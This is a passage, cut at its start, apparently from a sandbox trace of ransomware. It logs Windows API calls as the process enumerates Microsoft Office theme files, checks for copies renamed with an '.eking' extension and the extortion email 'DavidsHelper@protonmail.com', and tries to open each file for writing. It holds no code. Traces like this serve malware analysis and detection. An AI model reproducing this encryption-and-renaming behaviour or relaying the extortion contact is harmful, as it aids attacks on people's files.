shared\\themes14\\profile\\profile.elm")) returned 0x20 [0174.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.459] SetEvent (hEvent=0x174) returned 1 [0174.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.460] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=587) returned 1 [0174.460] CloseHandle (hObject=0x1e4) returned 1 [0174.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf")) returned 0x20 [0174.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf")) returned 0x20 [0174.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.461] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=16738) returned 1 [0174.461] CloseHandle (hObject=0x1e4) returned 1 [0174.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0174.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0174.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.463] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1439) returned 1 [0174.463] CloseHandle (hObject=0x1e4) returned 1 [0174.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0174.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0174.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.464] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=48039) returned 1 [0174.464] CloseHandle (hObject=0x1e4) returned 1 [0174.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm")) returned 0x20 [0174.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm")) returned 0x20 [0174.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.465] SetEvent (hEvent=0x174) returned 1 [0174.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.466] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=600) returned 1 [0174.466] CloseHandle (hObject=0x1e4) returned 1 [0174.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf")) returned 0x20 [0174.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf")) returned 0x20 [0174.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.468] SetEvent (hEvent=0x174) returned 1 [0174.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.468] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=37112) returned 1 [0174.468] CloseHandle (hObject=0x1e4) returned 1 [0174.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0174.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0174.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.470] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1666) returned 1 [0174.470] CloseHandle (hObject=0x1e4) returned 1 [0174.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0174.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0174.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.471] SetEvent (hEvent=0x174) returned 1 [0174.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.471] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=46942) returned 1 [0174.471] CloseHandle (hObject=0x1e4) returned 1 [0174.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm")) returned 0x20 [0174.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm")) returned 0x20 [0174.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.473] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=586) returned 1 [0174.473] CloseHandle (hObject=0x1e4) returned 1 [0174.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf")) returned 0x20 [0174.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf")) returned 0x20 [0174.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.474] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=19563) returned 1 [0174.474] CloseHandle (hObject=0x1e4) returned 1 [0174.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0174.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0174.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.475] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1423) returned 1 [0174.475] CloseHandle (hObject=0x1e4) returned 1 [0174.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0174.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0174.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.758] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=45838) returned 1 [0174.758] CloseHandle (hObject=0x1e4) returned 1 [0174.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm")) returned 0x20 [0174.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm")) returned 0x20 [0174.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.759] SetEvent (hEvent=0x174) returned 1 [0174.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.913] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=569) returned 1 [0174.913] CloseHandle (hObject=0x1e8) returned 1 [0174.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf")) returned 0x20 [0174.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf")) returned 0x20 [0174.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.914] SetEvent (hEvent=0x174) returned 1 [0174.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.338] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=27177) returned 1 [0175.338] CloseHandle (hObject=0x1e4) returned 1 [0175.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0175.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0175.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.339] SetEvent (hEvent=0x174) returned 1 [0175.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.341] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2209) returned 1 [0175.342] CloseHandle (hObject=0x1e4) returned 1 [0175.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0175.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0175.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) 